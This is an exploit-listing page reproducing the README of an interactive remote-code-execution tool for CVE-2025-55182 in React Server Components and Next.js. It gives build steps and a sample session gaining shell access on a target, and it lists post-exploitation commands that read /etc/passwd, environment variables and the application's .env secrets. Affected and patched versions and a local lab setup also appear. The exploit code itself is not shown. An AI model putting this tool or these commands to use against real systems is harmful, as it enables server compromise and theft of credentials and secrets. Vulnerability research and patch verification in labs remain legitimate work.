Exploit for Deserialization of Untrusted Data in Facebook React CVE-2025-55182

Name: Exploit for Deserialization of Untrusted Data in Facebook React CVE-2025-55182
Rating: 5 (167 reviews)
2025-12-06 | CVSS 10.0
## https://sploitus.com/exploit?id=8E9A69E3-6BE6-535B-B381-83A623ADD927
# 👻 CVE-2025-55182

> Interactive RCE exploitation tool for CVE-2025-55182 (React Server Components)

[![GitHub Stars](https://img.shields.io/github/stars/Hghost0x00/ghost-scanner?style=social)](https://github.com/Hghost0x00)
[![License](https://img.shields.io/badge/License-MIT-green.svg)](LICENSE)
[![Go](https://img.shields.io/badge/Go-1.18+-blue.svg)](https://golang.org/dl/)

## 🎯 What Is This?

**CVE-2025-55182** is a minimal, interactive RCE exploitation tool targeting **CVE-2025-55182**, a critical vulnerability in React Server Components (RSC) affecting React 19.0.0 - 19.2.0 and Next.js applications.

**Features:**
- 🔥 Interactive shell with command execution
- 👻 Clean, hacker-style CLI interface
- 🎯 Automatic vulnerability detection
- 📤 Real-time command output extraction
- ⚡ Zero dependencies (pure Go stdlib)

---

## 📦 Installation

### Prerequisites
- Go 1.18 or higher
- A vulnerable target running React 19.0.0 - 19.2.0

### Build from source
```bash
git clone https://github.com/Hghost0x00/CVE-2025-55182.git
cd CVE-2025-55182
go build -o CVE-2025-55182 main.go
```

---

## 🚀 Usage

### Basic Usage
```bash
./ghost-scanner
```

### Interactive Session
```
_____________   _______________         _______________   ________   .________          .________.____________  ______  ________  
╲_   ___ ╲   ╲ ╱   ╱╲_   _____╱         ╲_____  ╲   _  ╲  ╲_____  ╲  │   ____╱          │   ____╱│   ____╱_   │╱  __  ╲ ╲_____  ╲ 
╱    ╲  ╲╱╲   Y   ╱  │    __)_   ______  ╱  ____╱  ╱_╲  ╲  ╱  ____╱  │____  ╲   ______  │____  ╲ │____  ╲ │   │>      <  ╱  ____╱ 
╲     ╲____╲     ╱   │        ╲ ╱_____╱ ╱       ╲  ╲_╱   ╲╱       ╲  ╱       ╲ ╱_____╱  ╱       ╲╱       ╲│   ╱   ──   ╲╱       ╲ 
 ╲______  ╱ ╲___╱   ╱_______  ╱         ╲_______ ╲_____  ╱╲_______ ╲╱______  ╱         ╱______  ╱______  ╱│___╲______  ╱╲_______ ╲
        ╲╱                  ╲╱                  ╲╱     ╲╱         ╲╱       ╲╱                 ╲╱       ╲╱            ╲╱         ╲╱  

    React2Shell RCE | CVE-2025-55182
    @hghost010

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[?] Target: localhost:3000
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] VULNERABLE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

ghost@rce $ id
uid=1000(node) gid=1000(node) groups=1000(node)

ghost@rce $ whoami
node

ghost@rce $ pwd
/app

ghost@rce $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
node:x:1000:1000::/home/node:/bin/bash

ghost@rce $ exit
```

---

## 🎥 Demo

Comming SOon..

---

**Affected Versions:**
- React 19.0.0, 19.1.0, 19.1.1, 19.2.0
- Next.js applications using these React versions

**Patched Versions:**
- React 19.2.1+
- Next.js with updated React dependency

---

## 🧪 Testing Lab Setup

Want to test this safely? Set up a vulnerable lab environment:

```bash
# Clone vulnerable Next.js app
git clone https://github.com/zack0x01/vuln-app-CVE-2025-55182.git
cd vuln-app-CVE-2025-55182

# Install and run
npm install --legacy-peer-deps
npm run dev

# In another terminal, run ghost-scanner
./ghost-scanner
# Enter: localhost:3000
```

---

## 📚 Common Commands

```bash
ghost@rce $ id                    # Check user privileges
ghost@rce $ whoami                # Current username
ghost@rce $ pwd                   # Current directory
ghost@rce $ ls -la                # List files
ghost@rce $ cat /etc/passwd       # Read files
ghost@rce $ uname -a              # System information
ghost@rce $ env                   # Environment variables
ghost@rce $ ps aux                # Running processes
ghost@rce $ netstat -tulpn        # Network connections
ghost@rce $ cat /app/.env         # Application secrets
```

---

## 📊 Repository Stats

![GitHub repo size](https://img.shields.io/github/repo-size/Hghost0x00/ghost-scanner)
![GitHub last commit](https://img.shields.io/github/last-commit/Hghost0x00/ghost-scanner)
![GitHub issues](https://img.shields.io/github/issues/Hghost0x00/ghost-scanner)

---

## 🔗 References

- [CVE-2025-55182 Details](https://cloud.projectdiscovery.io/library/CVE-2025-55182)
- [React Security Advisory](https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components)
- [Next.js Security Advisory](https://github.com/vercel/next.js/security/advisories/GHSA-9qr9-h5gf-34mp)
- [Original PoC by maple3142](https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3)
- [Assetnote Research](https://github.com/assetnote/react2shell-scanner)
- [Vulnerable Test App](https://github.com/zack0x01/vuln-app-CVE-2025-55182)

---

## 💬 Community & Support

- 🐦 **Twitter/X:** [@hghost010](https://x.com/hghost010)
- 🐙 **GitHub:** [Hghost0x00](https://github.com/Hghost0x00)

**Found a bug?** Open an issue  
**Have questions?** Drop a comment on YouTube

---

## ⭐ Show Your Support

If this tool helped you:
- ⭐ **Star this repository**
- 📺 **Subscribe to the channel**
- 💬 **Share with others**

---

## 📝 License

This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.

---

**Made with 👻 by Hghost0x00**  
**Happy hacking ⚡**